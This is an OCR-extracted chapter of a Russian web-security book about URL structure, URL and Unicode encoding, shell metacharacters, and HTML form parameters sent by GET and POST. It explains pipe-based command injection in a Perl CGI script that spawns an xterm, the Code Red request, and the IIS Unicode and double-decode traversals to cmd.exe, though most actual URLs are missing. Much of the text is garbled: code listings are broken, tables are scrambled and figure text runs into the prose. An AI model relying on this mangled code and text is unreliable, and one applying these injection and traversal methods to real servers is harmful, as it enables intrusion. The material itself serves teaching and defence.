Введение Среди бесчисленных приемов, используемых взломщиками, методы в Web по праву можно отнести к самой "элегантной" технологии (если подобный компли мент можно считать уместным). Простота и изящность использования обычного бро узера для реализации наиболее разрушительных атак достойны восхищения, а связан ные с этим события, несомненно, заслуживают самого пристального внимания. Ино гда методы хакинга в Web сложны для понимания, но зачастую тривиальны. Тем не менее они способны привести к самым разрушительным последствиям. Известно ли вам о том, что помещенные в нужном месте символы могут пробить зияющую ды ру в безопасности вашего интерактивного приложения электронной коммерции? Хакинг в Web во многом напоминает микрохирургическую операцию через не большой разрез. Такая операция требует ювелирной точности и взвешенных, осто рожных движений. "Прорезать" отверстие --- работа и непростая, однако далее необходим целый комплекс сложнейших внутренних манипуляций. Кроме того, средства, которые потребуются хакеру для успешной реализации атаки на сис тему электронной коммерции, также придется "протиснуть" через это маленькое от верстие. На данный момент таким микроканалом является универсальный локатор ресурсов URL (Uniform Resource Locator), также известный как универсальный иден тификатор ресурсов (Uniform Resource Identifier). Иногда URL оказывается един ственным механизмом взаимодействия с большими и сложными системами (так на зываемыми многообещающими целями), расположенными по ту сторону чрезвычайно брандмауэров. В главе 2 обсуждались основы протокола HTTP и принципы его функционирова ния. В этой главе основное внимание уделяется адресам URL. Вы узнаете, что собой представляет URL, как его можно использовать для реализации атак, какие механиз мы подвергаются опасности при его использовании и насколько серьезные последст вия может вызвать его неправильное применение. Эти вопросы подробно рассматри ваются на протяжении всей главы. В результате выяснится, что в подавляющем боль шинстве случаев разработчики программного обеспечения для Web и группы специалистов, работающих в области информационных технологий, недооценивают опасность, связанную с применением URL. Большинство современных атак в Web выглядят достаточно изящно. Обычно злоумышленник начинает с простых шагов, например связанных с изучением внутренней структуры Web узла (см. главу 6). Каждый такой шаг позволяет хакеру проникать все глубже и глубже в "недра" Web узла. Элегантность подобных атак свя зана с тем, что для их реализации хакеру требуется всего лишь броузер Internet, по скольку для большинства атак в качестве средства доставки разрушительного кода ис пользуется URL. В этой главе обсуждаются следующие основные вопросы: • структура URL; • кодирование URL; • коды ASCII, представленные в формате Unicode и формате; • метасимволы и их влияние на приложение; • формы HTML и передача параметров. Подробное обсуждение спецификаций HTTP, HTML и URL не входит в задачи данной книги. Однако здесь будут рассмотрены связанные с ними ключевые понятия, особенно те из них, которые касаются обеспечения безопасности Web приложений. Для тех, кто хочет глубже разобраться с принципами, положенными в основу URL и HTTP, лучше всего воспользоваться соответствующими документами RFC. В RFC 1738 Часть I. Будни электронной коммерции Л
приведены самые ранние предложения по спецификации URL, которые более точно описаны в RFC 1808 и 2396. В документе RFC 1945, а чуть позже и в RFC 2068, со держится описание протокола Протокол описан в RFC 2616. Все эти документы можно найти по адресу: Структура URL Вообще говоря, URL --- это механизм, используемый для идентификации ресур сов на SSL или ftp сервере. URL также определяет протокол прикладного уровня, который обеспечивает передачу запросов Web серверу. Общая структура имеет следующий вид: Каждый из этих компонентов описан в табл. 5.1. Таблица Компоненты Компонент Описание Протокол Протокол прикладного уровня. Чаще всего адреса URL используются для получения ре сурсов с Web серверов (серверов HTTP). Поэтому наиболее распространенным протоко лом является Другими протоколами могут быть и т.д., в зависимости от того, какой из них поддерживается броузером и сервером Сервер Имя DNS, имя или IP адрес узла в сети, на котором содержится запрашиваемый ресурс Путь к каталогу, в котором содержится также имя запрашиваемого ресурса. Таким ре сурсом может быть статический файл или приложение, которое используется для дина мической генерации выходных данных Параметры Если запрашиваемым ресурсом является приложение или программа, используемая для динамической генерации содержимого, то при необходимости такому ресурсу можно пе редать параметры. Иногда часть в которой задаются параметры, называется стро кой запроса (Query String) На рис. показаны три типа URL. J Протокол Имя сервера Путь к запрашиваемому файлу Протокол IP адрес сервера Путь к запрашиваемому файлу б Путь к запускаемому Параметры, передаваемые приложению asp В Рис. 5.1. Примеры Глава 5. URL: оружие хакера в Web
Адрес URL, приведенный на рис. 5.1, а, не требует объяснений. Файл запрашивается по протоколу HTTP с сервера В пространстве этого Web узла файл monalisa.html содержится в каталоге /pictures/davinci. На рис. б представлен пример URL, в котором вместо HTTP задан другой протокол. В данном случае броузер должен открыть анонимное FTP соединение с сервером ww w.blueballoon.com и загрузить с него файл img viewer.exe, содержащийся в каталоге /pu b/. Поскольку в данной книге основное внимание уделяется Web приложениям и связанным с ними протоколам, то обсуждаются только адреса URL, связанные с ис пользованием протокола HTTP. Поэтому в оставшейся части книги термин URL бу дет означать использование протокола HTTP. Адрес URL, показанный на рис. 5.1, в, используется для запуска приложения из каталога /order/. Этому приложению передаются два параметра: item, в котором содержится значение АО О З , и со зна чением visa. Стоит отметить, что в данном случае используется не протокол a т.е. HTTP поверх SSL (см. главу 2). Теперь познакомимся с механизмом передачи параметров в Web приложения (см. рис. в). Психология Web хакера Попробуем поставить себя на место хакера. Что же необходимо, чтобы быть хаке ром? Коротко можно сказать так: взломщик обладает способностью экстраполиро вать информацию и нестандартно мыслить. Умение читать между строк, делать выводы из неочевидного и разгадывать внутреннюю механику функционирования неизвестной системы --- вот основные составляющие хакерского мастерства. Посмотрим глазами хакера на URL, представленный на рис. в. Понятно, что данный адрес URL используется для запуска приложения или про граммы, которой передаются некоторые параметры, а в ответ динамически генери руются данные. Что из этого URL можно выудить еще? На самом деле очень многое. Исходя из имени этого ресурса можно сделать первое предположение. Расширение наводит на мысль, что этот файл в действительности является файлом ASP (Active Server Page). Файлы ASP практически всегда используются на Web серверах Microsoft IIS. Следовательно, скорее всего, www.blueballoon.com --- это сервер Windows на котором запущен Web сервер IIS. Внимательно проанализировав параметры, можно обнаружить несколько новых под сказок. Первый параметр, позволяет сделать предположение о том, что приобретаемому товару присвоен собственный код, а его подробное описание долж но храниться в базе данных. Как правило, самой популярной базой данных для Win dows NT является какая либо из версий Microsoft SQL Server (полнофункциональный SQL Server или SQL Desktop Engine) или база данных Microsoft Access. Если это не большой Web узел, то на нем, скорее всего, используется Microsoft Access. Таким об разом, вполне вероятно, что для получения дополнительной информации о товаре в файле генерируется SQL запрос к внутреннему серверу баз данных. Второй параметр, позволяет предположить, что для оплаты покупки ис пользуется кредитная карточка, в данном случае Visa. Поэтому в файле может содержаться также программный код, предназначенный для взаимодействия с системой обработки платежей по кредитным карточкам. Возможно, именно по этой причине для защиты используется протокол SSL. Вопросы, связанные с получением информации об используемых внутренних тех нологиях на основе структуры Web узла и адресов URL, более подробно рассмат риваются в главе 6. Часть I. Будни электронной коммерции
URL и передача параметров В URL строка запроса (Query String) используется для передачи параметров при ложению, которое будет запущено. При вызове прикладной программы процесс Web сервера передает ей, во первых, переменные окружения, а во вторых, необходимые параметры. Принципы взаимодействия Web приложений с Web серверами описаны в спецификации CGI (Common Gateway Interface --- интерфейс шлюза). В этой спецификации указано, что приложения, запускаемые Web серверами, могут получать содержимое строки запроса как через аргументы командной строки, так и через пере менную окружения Передачу параметров приложениям лучше всего продемонстрировать на примере. Начнем с того, что создадим на сервере Linux с IP адресом В файле содержится следующий код: 01: 02: set f echo Content type: text/plain 04: echo 05: echo of command line args: 06: echo command line args: echo GATEWAY INTERFACE = INTERFACE" 08: echo SERVER_PROTOCOL 09: echo = 10: echo = 11: echo = Сценарий выводит на экран число переданных ему аргументов командной строки, фактические значения этих аргументов, а также несколько переменных окружения, устанавливаемых Web сервером при запуске сценария. Теперь укажем в броузере следующий адрес В строке запроса содержится значение После запуска сценария будут получены следующие данные: Number of command line a rgs: 5 command line args: Hello World, this is CGI GATEWAY_INTERFACE = CGI/1.1 = HTTP/1.0 = GET = Содержимое строки запроса помещается в переменную окружения Кроме Web сервер выполняет также декодирование строки запроса, а затем передает полученные данные в качестве аргументов командной строки сцена рию Обратите внимание, что символы + Web сервер заменяет пробелами. Теперь воспользуемся следующим URL: После выполнения сценария в окне броузера будут отображены такие результаты: Number of command line args: 0 command line args: = = = GET = /cgi bin/query.cgi = Глава 5. URL: оружие хакера в Web
На этот раз Web сервер не передал строку запроса в качестве аргумента командной строки. Тем не менее строка запроса по прежнему содержится в переменной окруже ния QUERY STRING. Разница состоит в том, что в данном примере строка запроса конст руируется в соответствии со стандартом передачи параметров с помощью URL. В этом стандарте определено, как в Web приложение можно передать несколько имен и зна чений параметров. В общем случае для передачи параметров через строку запроса ис пользуется следующий синтаксис: / Если в приложение передаются три параметра, то в строку запроса помещаются три пары "имя параметра/значение", объединенные символом &. Затем приложение извлекает переданные имена параметров и их значения. Возможности передачи параметров в Web приложения не ограничиваются одним лишь использованием строки запроса. Вспомните, что для формирования запросов на получение ресурсов с Web сервера протокол HTTP предоставляет два метода: GET и POST. Особенности каждого метода более подробно рассматриваются ниже в главе, при обсуждении форм HTML. Кодирование URL Сам по себе адрес URL --- это алфавитно цифровая строка, в состав которой вхо дят и некоторые другие символы. Для представления строки URL используется сле дующий набор символов. Символы Значения Алфавитно цифровые символы A Z, a z, 0 9 Зарезервированные символы = Другие специальные символы Большей частью строка состоит из символов алфавита, цифр и зарезервирован ных символов, имеющих строки специальный смысл. В строке могут исполь зоваться и другие специальные символы, однако с ними не связывается определенный смысл. Тем не менее эти символы могут иметь особое значение для Web сервера, которо му передается такой или для приложения, запускаемого с помощью Web сервера. Значение некоторых специальных символов описано в табл. 5.2. Таблица 5.2. Специальные символы и их значение внутри URL Специальные Интерпретация символы ? Символ отделения строки запроса. Часть строки URL, расположенная справа от символа ?, --- это и есть строка запроса & Разделитель параметров. Используется для отделения пар параметров в строке запроса друг от друга = Отделяет имя параметра от его значения при передаче параметров с использованием строки запроса + Этот символ преобразуется в пробел : Используется для отделения протокола от остальной части строки URL. Часть строки от ее начала до символа : определяет протокол прикладного уровня, используе мый в запросе Часть I. Будни электронной коммерции
Окончание табл. 5.2 Специальные Интерпретация символы * Используется для указания точки привязки внутри Например, URL адреса и http://www.acme art.com/ позволяют обратиться к двум различным элементам одной и той же страницы --- Используется для задания символов в формате 6 Используется в в котором указан протокол raailto:, для определения почтового реса. Применяется также при передаче регистрационных данных пользователя при дос тупе к защищенному паролем, особенно с помощью протокола FTP Используется для указания рабочего каталога пользователя в таких многопользователь ских системах, как Unix. При этом URL имеет следующий вид: Например, адрес http://www.cs.purdue.edu/~saumil/ задает подка талог Web страниц пользователя Метасимволы В приложениях и сценариях метасимволы *, ;, | и ' имеют специальное значение. Эти символы никак не влияют на сам URL, однако при их успешной передаче в при ложение может полностью измениться смысл входных данных. Иногда это позволяет создать "брешь" в подсистеме безопасности. Многие метасимволы интерпретируются различными Web серверами по разному. В табл. 5.3 описано, как метасимволы интерпретируются внутри приложений. Таблица 5.3. Метасимволы и их значение Метасимвол Интерпретация/использование * Является символом заполнителем или используется в качестве универсального симво ла. В сценариях оболочки системы Unix этот символ расширяется до списка имен фай лов, содержащихся в текущем каталоге ; В зависимости от контекста может иметь различный смысл. Чаще всего символ ; исполь зуется в качестве завершающего в исходном коде таких языков, как С или Perl. В других ситуациях может использоваться для разделения команд, как в сценариях оболочки Bourne и SQL запросах | Если этот символ успешно передать в приложение, обойдя механизм проверки, то можно причинить немалый вред. Это один из самых "мощных" символов сценариев оболочки Unix, уступающий только символу Символ конвейера позволяет объединить две команды и перенаправить выходные данные одной команды на вход другой. Если в сценариях Perl при открытии файла в качестве суффикса или префикса его имени используется символ то данное имя файла интерпретируется как системная команда и выполняется оболочкой операционной системы. После этого выходные данные, сгенерированные выполняемой программой, записываются в файл ' Используется для подстановки выходных данных команды и является наиболее мощным символом при написании сценариев оболочки в Unix. Если команда оболочки Unix ограни чена символами то ее выходные данные возвращаются в заданную переменную адресат. Например, при использовании команды в переменную files будет помещен результат выполнения команды la Глава 5. URL: оружие хакера в Web
Метасимволы и проверка входных данных Единственной наиболее очевидной причиной существования более 90% всех изъя нов Web приложений является недостаточная проверка корректности входных данных. Идея контроля передаваемых в качестве параметров данных далеко не но ва. В те времена, когда мы были студентами и писали программы на языке Fortran, как правило, наш руководитель сам выполнял необходимую проверку, прежде чем зачесть разработанную программу. Одна из таких программ должна была вычис лять натуральный логарифм числа. Ни одно из творений студентов не позволило получить правильный результат после ввода первого же значения нашим руково дителем --- banana. Ведь программа ожидала на входе число! Передача программе неожиданных данных приводила к ее сбою и получению дампа оперативной памя ти. В те времена нас мало интересовала проверка входной информации. Запуск процесса за счет "размещения" метасимволов и команд Unix в форму Web страницы --- это, пожалуй, квинтэссенция изысканных Web атак, которые оказа лись возможными исключительно из за слабой проверки входных данных. Использование в строке URL специальных символов В данный момент может возникнуть закономерный вопрос: "Что делать, если не обходимо использовать символы & или + как обычные, не учитывая их специаль ного назначения?" Например, допустим, что в строке запроса необходимо передать два параметра --- и shipping=snailmail. В этом случае URL будет выглядеть следующим образом: http: Приведенный URL является неоднозначным, поскольку в строке запроса содер жится три символа &. Скорее всего, Web сервер разделит подобную строку на три па раметра вместо двух, а именно: book=pride, и Если символ & необходимо передать как часть значения параметра, то можно вос пользоваться соглашениями, определенными в спецификации URL. Эти правила позво ляют представлять зарезервированные и специальные символы в двухбайтовом формате ASCII, добавив в качестве префикса символ как показано ниже. Символы значения Все символы Управляющие символы Восьмиразрядные ASCII символы верхнего регистра Пробел или + Возврат каретки Перевод строки Символ & в десятичном представлении имеет код ASCII 38, а в ном --- 26. Поэтому если его требуется включить в строку URL, то вместо него можно использовать значение Для приведенного примера URL будет иметь следующий вид: 124 Часть I. Будни электронной коммерции
Стандарт кодирования Unicode Хотя в большинстве случаев ASCII кодирования вполне дос таточно, его возможностей оказывается мало для представления наборов символов, в состав которых входит более 256 символов. Самые современные операционные систе мы и приложения поддерживают многобайтовое представление наборов символов языков, отличных от английского. Кроме ASCII кодов, Web сервер IIS компании Microsoft поддерживает URL, в которых используются символы, закодированные в формате UTF 8 (UCS Translation Format). Универсальный набор символов (Universal Character Set --- UCS) определен в доку менте ISO 10646 Международной организации по Хотя этот набор символов и поддерживается ISO, была образована отдельная группа (состоящая, ным образом, из поставщиков программного обеспечения), основной задачей которой является представление различных наборов символов в рамках одной унифицирован ной схемы. Эта группа называется Консорциумом Unicode (http://www.unicode.org). После составления стандартов обе группы решили разработать общую схему представ ления, благодаря чему в настоящее время нет необходимости использовать отдельные стандарты. Система кодирования UTF 8 определена в документах ISO 10646 1:2000 и RFC 2279. В тех операционных системах, где используется схема кодирования ASCII, обеспечивается простое преобразование символов и представление многобай товых символов Unicode в формате ASCII. Атака на Web узел компании Acme Art, Inc. Рассмотрим два URL, которыми воспользовался взломщик в процессе атаки на узел описанной в разделе "Случай из жизни", предваряющем главу 1. Вот как они выглядят: j В URL хакер внимательно использовал метасимволы и правила кодирования. Пе редаваемый параметр (значение которого содержится в после строки раде=) использовался в качестве имени файла функцией сценария Perl Для выполнения команд сценарием Perl злоумышленник разместил их между сим волами конвейера В первом URL содержится три команды Unix, разделенные символом перевода строки Имитируя нажатие клавиши <Enter> между коман дами, на самом деле хакер выполнил их подряд, одну за другой. При использова нии второго URL на экране взломщика появилось окно xterm. Обратите внимание, что злоумышленник скрыл символ воспользовавшись его кодом В результа те процесс xterm был запущен в фоновом режиме. Не углубляясь в тонкости схемы кодирования рассмотрим кодирование Unicode в аспекте его использования в URL. Двухбайтовые символы Unicode кодиру ются с использованием формата и значения старшего и младшего байта соответственно. Для стандартных символов ASCII из диа пазона от до используется представление Unicode Система кодирования Unicode и вирус Code Red Сами по себе символы URL, закодированные с помощью Unicode, не отличаются от обычных символов ASCII, представленных в формате. Од Глава 5. URL: оружие хакера в Web
нако схема позволяет более компактно представить 16 разрядное слово, чем два ASCII символа в формате. Создатели вируса червя Code Red, который по оценкам экспертов обошелся ком паниям в $500 млн. и вызвал настоящий хаос на Web серверах IIS, воспользова лись системой кодирования Unicode для вставки команд оболочки в запрос к обра ботчику Это позволило создать условия для переполнения буфера. Запрос HTTP, генерируемый Code Red, выглядит следующим образом: одпгшшшшпшшюодюютшшнш Обратите внимание на то, как закодировали команды с исполь зованием 16 разрядной последовательности Unicode. Например, код преоб разуется к виду 0x90 0x90, что, в свою очередь, означает две пустые инструкции в машинном коде х86. Неправильное использование кода URL Кодирование URL используется для того, чтобы в строке URL можно было приме нять символы, отличные от алфавитно цифровых. Тем самым обеспечивается возмож ность использования обычных алфавитно цифровых символов большинства клавиатур. Применение в URL нестандартных методов кодирования символов делает определенные Web серверы уязвимыми. Два наиболее серьезных изъяна Web серверов, о которых ста ло известно в последнее время, связаны как раз с ошибками в декодировании URL. Изъян Unicode В октябре 2000 года стало известно о том, что серверы Microsoft IIS уязвимы к так называемой "ошибке Unicode". Другими словами, некорректное кодирование символа / в формате Unicode позволяло сформировать URL, с помощью которого можно было пе редать управление за пределы папки Web документов и вызвать командную оболочку из системного каталога Windows. Такой URL может иметь следующий вид: На рис. 5.2 показано, что могло бы произойти, если бы такой URL был использо ван в броузере для обращения к узлу Проанализируем эту атаку подробнее. Код --- это некорректное представле ние символа / в формате Unicode. Получив такой URL, Web сервер интерпретирует этот код Unicode как символ обратной косой черты. Это приводит к обходу серверных средств фильтрации подобных событий, перемещению на два уровня вверх в иерархии каталогов относительно папки /s cr ipts/ и запуску командной оболочки Как правило, папка /scripts/ расположена в каталоге C:\inetpub. В обычных условиях Web сервер никогда бы не позволил из URL обращаться к облас ти файловой системы, расположенной за пределами каталога Web документов (в дан ном случае Однако в процессе проверки местоположения каталога Web 126 Часть I. Будни электронной коммерции
серверу не удается распознать представление символа / в формате Unicode. На серве ре строка преобразуется в строку . ./. . / , после чего происходит обраще ние к ресурсу В результате запускает сякоманднаяоболочкаC:\winnt\system32\cmd.exe. 12/07/1999 12/07/1999 12/07/1999 12/07/1999 12/07/1999 10:30* 09:21р 10:30* 10:30* 10:30* 10:30* 6 в С») PRINTERS 5.2 Использование Unicode для выполнения команд Каким же образом код преобразуется в символ /? Для этого нужно разо браться с тем, как сконструировать некорректное представление в формате Unicode. Кодом ASCII символа / в представлении является 2F, а в двоичном формате --- 00101111. Стандарт кодирования Unicode (или, точнее, стандарт UTF 8) обеспечивает представление более 256 символов, а следовательно, позволяет исполь зовать для их кодирования более 8 бит. Корректное представление кода 2F в формате UTF 8 по прежнему выглядит как 2F. Однако этот код можно представить и с ис пользованием многобайтового представления Символ / может быть пред ставлен в двух и трехбайтовом формате UTF 8 следующим образом. Используется 1 байт байта 3 байта / Двоичное представление 00101111 11000000 10101111 11100000 10000000 10101111 Десятичное представление 47 49327 14713007 представление 2F СО AF ЕО 80AF Здесь символы х представляют битовую маску кодируемого символа (справа налево). Таким образом, двухбайтовым представлением символа / в формате UTF 8 является СО AF. В URL он представлен как два символа: Глава 5. оружие хакера в Web 127
В спецификации UTF 8 указано, что "модуль декодирования UTF 8 не должен разрешать использование последовательностей UTF 8, длина которых больше, чем необходимо для кодирования символа. Любая слишком длинная последовательность UTF 8 может быть использована для достижения неблаговидных целей и обхода ме ханизма обнаружения подстрок, предназначенного для поиска максимально короткой последовательности UTF 8 из числа возможных". Разработчики сервера IIS упустили из виду это требование. В результате данный изъян позволил тысячам хакеров запус кать на серверах IIS произвольные команды. Эта атака срабатывает также и при использовании трехбайтового кода UTF 8. Сле дующий URL эквивалентен приведенному выше: Для получения более подробной информации о проблемах кодирования в форма тах Unicode и UTF 8 можно обратиться к разделу FAQ по адресу: Изъян двойного или избыточного декодирования Стоило компании Microsoft справиться с "ошибкой Unicode", как в мае 2001 года был обнаружен еще один изъян, известный как "двойное декодирование" или "избыточное Во многом этот метод и связанные с его применением последствия почти не отличаются от описанного выше. Для того чтобы воспользо ваться этим недостатком, на сервер можно передать следующий На рис. 5.3 показаны выходные данные, сгенерированные сервером IIS. 12/07/1999 06/26/2000 06/26/2000 06/26/2000 10:30* 10:30* 09:Zlp 10:30* 10:30* 10:30* 09:21р 09:21р 6 IE) 8 4S ЮТ 5 S CLIENTS VALUE 401,841 bytes 0 Рис. 5.З. Метод двойного декодирования для выполнения команд 128 Часть I. Будни электронной коммерции
В приведенном URL символ / заменен строкой Если указанный URL декодируется один раз, будет получен следующий результат: = = "2" = Если декодирование выполнить еще раз, будет получена следующая строка URL: Строка является далеко не единственной, с помощью которой можно воспользоваться этим изъяном. Приведенные ниже строки позволяют достигнуть ана логичного результата. Закодированная комбинация представление Символ ASCII \/ /\ Существует и много других перестановок и комбинаций кодов. Поэтому отсутствие или некорректное выполнение проверки входных данных является чрезвычайно серь езной проблемой. Подводя итоги, следует отметить, что ошибки в реализации механизма декодиро вания URL представляют собой огромную угрозу для безопасности. То, о чем говори лось выше, --- это всего лишь два из наиболее показательных примеров возможных изъянов. Жертвой использования непредусмотренных комбинаций кодов символов в URL могут оказаться и многие другие Web серверы. Чтобы избежать появления по добных изъянов при реализации Web серверов, необходимо строго следовать специ фикации HTTP консорциума W3C Формы HTML Практически во всех интерактивных Web приложениях используются формы HTML. Можно с уверенностью сказать, что при использовании Internet с формами HTML при ходится сталкиваться практически в каждом сеансе работы: при использовании меха низма поиска, проверке электронной почты с использованием средств Web, проверке состояния кредитной карточки, отправке поздравительного электронного сообщения и в процессе выполнения многих других задач. Форма HTML --- это интерфейс, который используется в приложении для взаимодействия с пользователем через Web броузер. С формами HTML связано два ключевых аспекта: выполнение управленческих функций броузером и обработка данных на сервере. При этом можно выделить не сколько основных задач, выполняемых броузером. Первая --- корректное отображение на экране элементов HTML формы, а вторая --- обеспечение для пользователя воз можности ввода данных с применением этих элементов. После ввода данных пользо ватель может отправить заполненную форму на сервер. При этом броузер должен обеспечить, чтобы данные были корректно закодированы в URL, а затем передать информацию соответствующему приложению. После того как входные данные получены прикладной программой, они должны быть разделены на отдельные параметры, а затем обработаны. При использовании бо лее ранней спецификации CGI разработчик приложения должен самостоятельно оп Глава 5. URL: хакера Web 129
логику синтаксического анализа закодированных в URL данных и извлече ния имен и значений входных параметров. В состав современных Web серверов вхо дят встроенные процедуры автоматической обработки данных HTML форм, что суще ственно упрощает задачу разработчиков Web приложений. Однако, что касается безопасности, то при разработке Web приложений необходимо осторожно относиться ко входным данным, передаваемым броузером. В конце главы приведен ряд практических советов, которыми следует руководствоваться при обработке данных HTML форм. А сейчас рассмотрим не сколько примеров того, как работают (или не работают) HTML формы с точки зре ния обеспечения безопасности. Анатомия формы HTML Любую форму HTML можно идентифицировать по дескрипторам (как отмечалось в главе 1). Все дескрипторы HTML, вложенные в дескрипторы рассматриваются как часть этой формы. Среди других дескрипторов HTML дескрип торы <INPUT> используются для представления входных полей формы. позволяют вводить данные в форму, которая отображается в броузере. На рис. 5.4 показаны эле менты HTML, которые составляют форму HTML. <INPUT <INPUT CGI для пользователя required"cgi lib.pl"; &ReadParse(*in); print&PrintHeader, УIlllllllllllll www.acme art.com uses the latest in security All your transactions are secure via your registration and to login. Форма, отображаемая в пользовательском броузере Рис. 5.4. Элементы формы HTML Необходимо помнить о некоторых ключевых концепциях, связанных с формами. 130 Часть I. Будни электронной коммерции
• Метод (method). Для каждой формы должен быть задан один метод передачи данных --- либо GET, либо POST. Этот метод определяет, какой метод HTTP будет использоваться броузером при отправке данных формы на сервер. • Действие (action). С каждой формой должно ассоциироваться приложение обработчик, размещенное на сервере. Приложение должно быть спроектирова но таким образом, чтобы обеспечивалась возможность получения данных от различных входных элементов этой формы. • Входные поля (input element). Каждый входной элемент должен иметь имя, ко торое используется в серверном приложении для синтаксического анализа па раметров и их значений. • Кнопка передачи данных. На каждой форме должна содержаться кнопка переда чи данных --- специальный тип управляющего элемента, который отображается броузером в виде кнопки, на которой можно щелкать мышью. После щелчка на этой кнопке броузер соберет и закодирует данные, введенные в различные поля формы, а затем отправит их серверному приложению. В качестве примера рассмотрим небольшую форму регистрации на главной стра нице узла www.acme art.com. Ниже приведен исходный код этой формы вместе с эле ментами формы, выделенными жирным шрифтом. <table <tr> type=text </tr> <tr> <td>Password:</td> name=pass </tr> </table> value= "login"> Различные элементы этой формы регистрации узла представлены ниже. Элемент Тип Значение Метод POST Действие Поле text Поле password Кнопка передачи данных login Элементы ввода данных В предыдущем примере использовались три типа элементов формы: TEXT, PASSWORD и SUBMIT. Полное описание различных типов полей HTML форм приводится в специ фикации HTML 4.0 В табл. 5.4 приведены некоторые наиболее часто используемые элементы и их назначение. Таблица 5.4. Входные элементы HTML формы Тип элемента Дескриптор Описание TEXT TYPE=TEXT> Поле формы, используемое по умолчанию. В это поле текст ASCII можно вводить в виде одной строки Глава 5. URL: оружие хакера в Web 131
табл. 5.4 Тип элемента Дескриптор Описание PASSWORD <INPUT TYPE=PASSWORD> TEXTAREA CHECKBOX TYPE RADIO TYPE=RADIO> Используется для ввода конфиденциальных данных. При отображении в броузере содержимое этого поля представ ляется с помощью символов а не реально вводимых символов. Следует отметить, что это единственная защит ная мера. В остальном поле ничем не отличается от поля TEXT , Используется для ввода символов ASCII в несколько строк Отображает в окне броузера флажок. Он может быть уста новлен или сброшен и используется для передачи логиче ских (булевых) данных Применяется для отображения переключателя. В группе та ких переключателей одновременно может быть выбран только один элемент. Это поле используется для выбора из нескольких возможных значений Служит для отображения прокручиваемого списка и позво ляет выбрать один или несколько элементов из этого спи ска. В каждом наборе дескрипторов </SELECT> может содержаться один или несколько дескрипторов <OPTION>, каждый из которых соответствует одному эле менту внутри списка Поле такого типа не отображается в броузере. Однако скрытое поле можно использовать для передачи предвари тельно заданной информации или конфигурационных пара метров приложению, содержащемуся на сервере. Скрытые поля невидимы только со стороны броузера. Их можно лег ко увидеть, внимательно просмотрев исходный код HTML страницы. Подробнее этот вопрос обсуждается в главе 6 Позволяет задать на форме кнопку передачи данных. При щелчке на ней броузер должен собрать данные, введенные в поля формы, и передать их серверному приложению, ука занному в атрибуте ACTION дескриптора FORM ON <OPTION> </OPTION> <OPTION> </OPTION> HIDDEN TYPE=HIDDEN> SUBMIT <INPUT TYPE=SUBMIT> Передача параметров с помощью методов GET и POST В завершение обсуждения HTML форм рассмотрим передачу параметров сервер ным приложениям с использованием методов GET и POST. Для более наглядного пред ставления этой процедуры рассмотрим пример. Предположим, что на сервере 192.168.7.102 есть страница HTML, описанная в файле form_elements.html. В состав этой страницы входит две HTML формы. В каждой форме содержится один и тот же набор полей. Единственное различие между ними заключается в том, что в одной форме для передачи данных используется метод GET, а во второй --- POST. Обе формы определены с помощью следующего кода HTML: 132 Часть I. Будни электронной коммерции
TEXT: <BR> TYPE=TEXT SIZE=20><P> PASSWORD:<BR> TYPE=PASSWORD SIZE=20><P> TEXTAREA:<BR> POWS=5 NAME=3 HIDDEN see Yup, <BR> TYPE=SUBMIT TEXT:<BR> <INPUT TYPE=TEXT SIZE=20><P> PASSWORD:<BR> TYPE=PASSWORD SIZE=20XP> TEXTAREA:<BR> <TEXTAREA HIDDEN see Yup, SUBMIT: <BR> <INPUT В обеих формах данные передаются программе Полный URL адрес этой Файл print cgi представляет собой простую программу, которая выводит все входные пара метры и их значения в виде таблицы. Кроме того, этот сценарий отображает HTTP метод, который был использован для передачи данных на сервер. Вот исходный код, содержащийся в файле requir e 6Re adPars e(*input); print print print "Form method: print foreach { print } print Программа написана на языке Perl. Функция опреде лена в библиотеке Perl cgi lib.pl, в которой содержатся стандартные процедуры об работки, поддерживающие интерфейс CGI. Все параметры, передаваемые сценарию хранятся в ассоциативном массиве input. В цикле fo r e a ch итеративно перебираются и выводятся на печать все пары "имя параметра/значение" этого ассо циативного массива. При запуске сценария Web сервером устанавли вается переменная окружения REQUEST METHOD. В качестве значения этой переменной может использоваться либо GET, либо POST. Посмотрим, что произойдет, если некоторые данные ввести в каждую из форм страницы fo rm_ ele m e nts.html, а затем передать их сначала с помощью метода GET, а за тем POST. На рис. 5.5 показано, какие данные вводятся в эти формы. Итак, что же произойдет, если данные формы передать с помощью запроса GET? На рис. 5.6 показаны результаты, которые сервер вернул обратно в броузер. Посмотрим на адресную строку в окне броузера, показанном на рис. 5.6. Несмотря на то что отображается только часть URL, видно, что все введенные данные после ко дирования были отправлены на Web сервер в строке запроса URL. Передаваемый на сервер имеет следующий вид: , password hidden Глава 5. URL: оружие хакера в Web 133
Рис. 5.5. Страница с данными, введенны ми в форме Input received Form GET . . . . • a GIT Рис. 5.6. Результаты, сгенерированные сценарием print cgi после обработки запроса GET 134 Часть Будни электронной коммерции
Обратите внимание, что содержимое и поля ввода пароля Jill, и скрытого поля Cant see me отображается в строке URL как обычный текст. Символы возврата карет ки и перевода строки в текстовом окне были закодированы как что соответст вует формату кодирования URL. Передаваемый броузером HTTP запрос имеет следующий вид: GET /cgi bin/print hidden HTTP/1.0 Referer: Connection: Keep Alive User Agent: [en] (Windows NT 5.0; 0) Host: 192.168.7.102 Accept: */* Accept Encoding: gzip en Accept Charset: Что произойдет, если данные из формы передать с использованием запроса POST? На рис. 5.7 показаны результаты, полученные после обработки такого запроса сцена рием Input received POST Jack Jill т POST Cant Puc. 5.7. Результаты, полученные от cgi после обработки запроса POST сценария print При передаче параметров с помощью метода POST строка запроса URL уже не ис пользуется. Вместо этого они передаются после HTTP заголовка. При этом переда ваемый броузером запрос HTTP имеет следующий вид: POST HTTP/1.0 Referer: Connection: Keep Alive 5. URL: оружие хакера в Web 135
